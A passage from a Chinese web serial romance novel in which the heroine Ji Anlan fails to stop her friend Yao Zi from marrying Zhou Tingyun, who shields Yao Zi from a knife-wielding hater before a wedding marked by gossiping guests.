“我知道你是为了我好,你刚经历过失败的婚姻,但是周霆云跟江容川不一样,我相信他!”
他们之前讨论过这个问题,姚姿很信任周霆云,正因为如此,纪安澜才没办法开口。
既然说了,纪安澜一咬牙,无奈地打
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开手机,让姚姿看了那些照片。
姚姿瞪大眼睛,不可置信地看着纪安澜的手机屏幕。
画面上两人暧昧至极,任何一个女人看了都会生气。
“这照片是合成的吧?”姚姿的第一反应是这个。
纪安澜摇头:“我已经派人查过了,不是合成的!我当时昏迷不醒,根本就不知道发生了什么事,但是房间里只有我跟周霆云!”
她没有再继续说下去,毕竟接下来的话,也只不过是她的怀疑罢了。
手搭在了姚姿手上,纪安澜一脸认真:“你真的好好想想,婚姻不是儿戏,一旦踏进去,很有可能万劫不复!”
正因为淋过雨,纪安澜想为姚姿打伞。
遥知脸色难看,紧盯着那些照片。
她不相信是周霆云诬陷纪安澜,同时也不信纪安澜会勾引周霆云。
心里挣扎着,姚姿开口问道:“你能把那天发生的所有事详细地跟我说一遍吗?”
纪安澜只好将当天的事情原委全都告诉了她。
姚姿一听,立刻找到了突破口。
“那有没有可能是周父对周慎做的局?周家不想让你进门,所以故意想让你们两个心生嫌隙,这样就能棒打鸳鸯!”
说这句话的时候,她的眼睛亮晶晶的,也只有这个猜测是合理的。
当一个女人恋爱脑的时候,十头牛也拉不回来。
纪安澜明白这种无力感。
当时她满心满眼都是江容川的时候,不管别人说什么,她都听不进去。
如今的姚姿更是如此。
她已经开始自动为周霆云找借口了,纪安澜知道,她说什么也没有用。
她有些泄气,知道该如何劝解姚姿。
突然,想到了姚姿身上的伤,纪安澜一把拉过姚姿,撸起她的袖子,露出她胳膊上的伤。
姚姿眼神慌乱,赶紧放下衣袖,想要遮挡。
纪安澜厉声问道:“这些伤是怎么回事?是不是周霆云干的?”
“不……”姚姿眼神闪烁,更加印证了纪安澜心里的猜测。
“还没结婚就打你,你觉得结了婚他就不会家暴你吗?就算这样,你也要嫁给他?”
“嫁!”
第130章 黑粉来袭
纪安澜紧皱着眉,一脸不解。
姚姿认真道:“我很久之前就喜欢他了,终于得偿所愿,我一定要嫁给他!”
看她铁了心要嫁给周霆云,纪安澜叹了口气。
姚姿这是要步上她的后尘了,纪安澜眼中充满了担忧。
看着纪安澜一脸颓然,姚姿拉起纪安澜的手,就往外面走。
纪安澜任由她拉着,上了车,车子停在了一个私人小酒馆外面,上面明晃晃的蓝色闪光牌子。
——蓝色妖姬。
纪安澜以为姚姿带她来喝酒,谁知姚姿直接找到了店家,说要调取监控,想要看看那天的监控画面。
店家一脸为难,刚准备开口拒绝。
这时,黑暗中突然冲出来一个黑影,指着姚姿破口大骂。
“姚姿!你这个**,要演技没演技,要长相没长相,凭什么得了玉兰奖?就凭你也配?”
“大晚上不睡觉来酒馆,是寂寞难耐了吗?我早就说你是一个人人骑的**,就是没人信,今天我一定要让所有的人知道,你就是个彻头彻尾的**!”
他的话粗俗不堪,每一句都在骂着姚姿。
看来是她的黑粉。
纪安澜听不下去,一把将姚姿拉到身后,打算教训黑粉。
可谁知姚姿正在气头上,越过纪安澜,走到那黑粉的面前,冷冰冰地警告他:“读书不看报?难道你不知道现在骂人也是犯法的吗?我现在就可以报警把你抓进去!趁着我现在心情好,赶紧滚!不然有你好看的!”
此话一说出口,黑粉脸色骤变,周围人对她指指点点,他觉得面上挂不住,抄起旁边的酒瓶子,摔了个粉碎,只剩下了手里的碎片,用力地朝着姚姿刺了过去。
纪安澜的心提到了嗓子眼,一个箭步冲上前去,眼见着来不及阻止。
这时,一个黑影猛地冲上前,一把搂住了姚姿,他紧紧地护在身下。
竟然是周霆云!
而那黑粉手里的碎片,直直地扎进了他的后腰。
周霆云的身子猛地一僵,脸色瞬间惨白,却没有半点退缩,紧紧地抱着姚姿,仿佛在抱着一个易碎的珍宝。
这时,旁边的人反应过来,赶紧把那黑粉拉走,立刻报了警。
姚姿惊魂未定,躲在周霆云的身下,眼见着那黑粉被控制起来,她看着周霆云,脸色难看,立刻意识到他受伤了,赶紧查看。
手摸在了他的后腰处,一股黏腻的感觉在掌心蔓延。
姚姿手指颤抖,脸色唰地一下白了,看着满手的血渍,瞳孔骤缩,不可置信地盯着周霆云。
“你不要命了?你疯了吗?这种情况下,你都敢救我!”
她的声线颤抖,泪水在眼眶里打转,眼睛里充满了惊慌失措。
看着姚姿的表情,周霆云勾了勾唇,淡然地笑道:“一点小伤,没事的,但如果你受了伤,我会心疼的。”
泪水夺眶而出,姚姿感动不已,伸手紧紧地抱住了他。
“傻子!以后不许再这么做了!你受伤我也会心疼的!”
周霆云反手抱住姚姿,低声安慰:“别担心,我没事,不会影响明天的婚礼的。”
话音刚落,像是有些顾忌,声音低沉了些:“我反倒是怕你不来明天的婚礼。”
“怎么会?我做梦都想要嫁给你!明天我一定会准时出席!”
声音颇大,正好落入纪安澜耳中。
纪安澜定定地站在原地,大脑里一片空白。
这两人紧紧相拥,纪安澜知道,一切都来不及改变。
周霆云的这一救,杀伤力太大了,本就是恋爱脑的姚姿,此刻已经沉浸在幸福中,根本什么话都听不进去。
更别说,她是以“莫须有”的罪名,想阻止两个人的婚礼,更加不可能。
周霆云几乎是拼了命地救下姚姿。
这种爱,是能装出来的吗?
纪安澜突然想到了周慎。
当时,他也是拼命地救下了她,可是到头来又是怎么对待她的?
纪安澜愣愣地站在原地,脸色难看至极。
姚姿松开手,目光落在纪安澜身上。
她发现周霆云也用一种异样的目光盯着纪安澜看。
姚姿声音低沉:“我相信澜澜绝对不会背叛我!”
周霆
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云垂下眼睫,眸色一沉,喉结微动,刚准备说什么。
姚姿打断了他:“我也相信你!”
顿了一下,她又说道:“这其中肯定有误会!”
周霆云面色微变,眉头紧锁,却什么话也没有说。
“我先去跟澜澜说几句话,一会送你去医院。”
声线温柔,带着几分哄他的意味,周霆云点了点头,识趣地站在一旁,没有靠近两人。
姚姿走向纪安澜,见她脸色难看,温声安抚:“澜澜,我知道你是为了我好,但感情的事情,只有遵从本心,我相信你!但我也相信霆云!你放心,我一定会查明事情真相,还你们两个人一个清白!解开你们之间的误会!”
她的眼神坚定,语气认真。
似乎已经下定决心,非周霆云不嫁。
纪安澜知道,一旦是她决定的事,无法更改。
心里那股隐隐的不安感愈发强烈。
她紧皱着眉头,祝福的话却怎么也说不出口。
沉默半晌,纪安澜垂下眼睫。
姚姿则牵起纪安澜的手,认真且坚定地邀请她:“你还愿意明天来参加我的婚礼,当我的伴娘吗?”
闻言,纪安澜不可置信地掀起眼眸,她以为扫了姚姿的兴,她会很生气,没想到还是愿意让她做伴娘。
虽然很不看好他们二人,纪安澜也担心姚姿会过得不幸福。
可既然她邀请了,纪安澜只好点头答应。
姚姿勾了勾唇,开心地笑了。
看着她脸上绽放的笑意,纪安澜那些扫兴的话生生地咽在喉咙里,怎么也说不出口。
“澜澜,我知道你对我最好了,霆云受伤了,我要带他去医院,不能陪你了。”她一脸抱歉地盯着纪安澜。
“没事,你去吧,自己小心点。”纪安澜喉咙干涩,所有的话变成了担心。
“嗯,你也是,回去的时候小心一点!”
话音刚落,姚姿迫不及待地跑向周霆云,两人相视一笑,一同离开了小酒馆。
临走前,周霆云扭过头,装似不经意地扫了纪安澜一眼,眼底划过一抹不易察觉的得意。
第131章 建国以后不许成精
姚姿和周霆云的婚礼如期举行。
婚礼现场,如同童话环境一般,青绿色的草坪上,纯白玫瑰缠绕着鎏金铁架,粉色的纱幔,迎风飘扬。
纪安澜站在宴会厅门口,脚踩着红色的地毯,一身淡粉色的伴娘裙,衬得她身材窈窕,脸色苍白,心里的不安感愈发强烈。
与她形成强烈反差的是周慎的继母。
她笑得春风得意,周旋于宾客之间,眼尾纹都多了几条。
儿子能娶到姚姿这样的大明星,可是给他们周家长了脸面,还能提高周家知名度。
简直是一箭三雕。
她正得意地想着,突然瞥见不远处的纪安澜,笑容立刻僵硬在脸上。
眉头一蹙,眼底满是不悦,踩着高跟鞋,大步跨上前。
“你怎么来了?”她声音刻意压低,不想在婚礼现场闹得太难看。
“我是伴娘。”纪安澜简单明了表明身份。
“姚姿怎么回事?我都说了让她换个人,她怎么就不听呢?等她进了门,我得好好地教育教育她!”继母音调拔高了些,语气中满是不满。
众人的目光随着继母也看向纪安澜。
宾客们交换了一下视线,低头窃窃私语。
“那不是纪安澜吗?听说她跟江容川闹离婚,也不知道离没离。”
“一个离婚的女人,来这里干什么?真是晦气!”
“周家人也太大度了,要是我的话,绝对不会让这种女人踏足婚礼现场!”
所有人的目光如针一般刺向纪安澜。
她背脊挺直,高傲地扬起下巴,眼神无波,丝毫不在意那些闲言碎语。
她现在只想见姚姿一面。
一夜过去,不知她是否动摇了结婚的念头。
这时,一道清丽的嗓音传来。
“澜澜,你终于来了。”
姚姿穿着简单的礼服,朝着纪安澜快步而来。
纪安澜一见她,赶紧上前,拉着她就往后台走。
“你是新娘,怎么能出来?”
“我这不是想来迎接你吗。”姚姿神秘地眨了眨眼睛。
她突然停下脚步,一把搂住纪安澜的肩,扭头扫了一眼众位宾客。
“大家吃好喝好,这是我最好的闺蜜纪安澜,也是我唯一的伴娘,以后还请大家多多指教。”
闻言,所有的人都噤若寒蝉。
继母脸色更是难看至极,仿佛被人当众打了一巴掌,虽无声,却十分响亮。
让一个二婚的女人当伴娘,简直是闻所未闻!
虽然昨天周霆云已经跟她通过气了,不过,她还是觉得难以接受,心里窝着一团火。
宾客们虽也觉得不妥,但终究没说些什么,这毕竟是周家的地盘,姚姿马上就是周太太,他们可不敢随意置喙。
满意地看着那些宾客的反应,姚姿反拉着纪安澜往后台走。
感受着她手心的温度,纪安澜心里一阵感动。
在试衣间,纪安澜亲手帮姚姿换上了婚纱,看着镜中她幸福的微笑,纪安澜到嘴边的话又生生地咽了回去。
她不能在婚礼当天给姚姿泼一盆冷水。
或许真的是她误会了周霆云?
毕竟跟周霆云相处最久的还是姚姿,她应该不会明知道是火坑,也要跳进去吧?
见纪安澜一脸失神,满脸憔悴,似乎一夜未睡,姚姿赶紧拉着纪安澜坐下。
纪安澜这才反应过来,想要站起身,又被姚姿按下。
“你脸色太难看了,我来帮你化个妆,等到婚礼结束,我陪你去医院看看。”
听着她担忧的话,纪安澜赶紧解释:“我就是知道你要结婚了,心情激动,昨天一夜没睡,没事的,你忙你的婚礼就行。”
“一夜没睡?你怎么跟我妈似的?看来以后我不能称你为我的闺蜜,我要叫你妈妈了。”姚姿开玩笑地说着。
纪安澜也忍俊不禁:“可以啊,现在叫一声来听听。”
“不行,你在占我便宜。”
顿时欢声笑语响彻了整个试衣间。
门口,周霆云看着欢乐的两人,眸色一沉,抬脚离开。
婚礼进行曲响起。
纪安澜听着那声音就仿佛是催命符,脸色越发难看,但看着姚姿一脸幸福,所有的话都说不出口。
她只能陪着姚姿
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走过长长的红毯,把她交到周霆云的手中。
纪安澜退下台,坐在了准备好的椅子上,看着台上的姚姿,笑得幸福而又满足,甚至眼睛里蓄满了泪水,她知道,姚姿得偿所愿了。
只是,她心里的那块巨石无法放下。
情到深处,姚姿现场献歌给周霆云。
悦耳的声音响彻了整个婚礼现场。
一道突兀的声音在耳边响起:“戏子就是戏子,用唱歌、跳舞,取悦周家大少爷,估计床上功夫也不错,要是不然怎么能把他迷得五迷三道,我也想尝尝这大明星的滋味。”
纪安澜面色一沉,冰冷的视线犹如一把刀刃,冷冷地看向旁边的男人,大腹便便,一副恶心的嘴脸,眼睛就像是黏腻的虫子紧盯着姚姿。
“建国以后不许成精,怎么有个猪精在这里说胡话?”
纪安澜刻意压低嗓音,将身影隐没在人群中,那胖男人四处搜寻,没有找到说话的人,脸立刻变成了猪肝色,难看至极。
等到婚礼结束,散场时,纪安澜目光紧盯着那胖男人。
眼见着他要下楼。
纪安澜故意走到他跟前,状似不经意地微微一抬脚,胖男人被绊倒。
庞大的身躯像是一个球一样,从楼梯上滚落。
“哎呦!”他发出了杀猪般的惨叫。
好在楼梯层数不高,他只是轻微受伤,从地上爬起,也不知道哪里痛,抓耳挠腮。
目光随即看向了楼梯上,视线落在纪安澜身上。
“你!纪安澜,是你故意绊我的,对不对?”
他的声音洪亮,所有人的目光齐刷刷地射了过来。
纪安澜耸了耸肩:“什么意思?我不懂。”
她一脸无辜下了楼梯,路过那胖男人时,低头冷冷地看了他一眼:“好狗不挡道。”
胖男人的脸色铁青,艰难地从地上爬起,脸上的横肉直飞,颤抖着手指着纪安澜。
“就是你,在台下骂是猪精的也是你!”胖男人怒不可遏,涨红了脸。
纪安澜还没开口解释。
宾客们纷纷指责:“纪安澜这是在故意**吧?”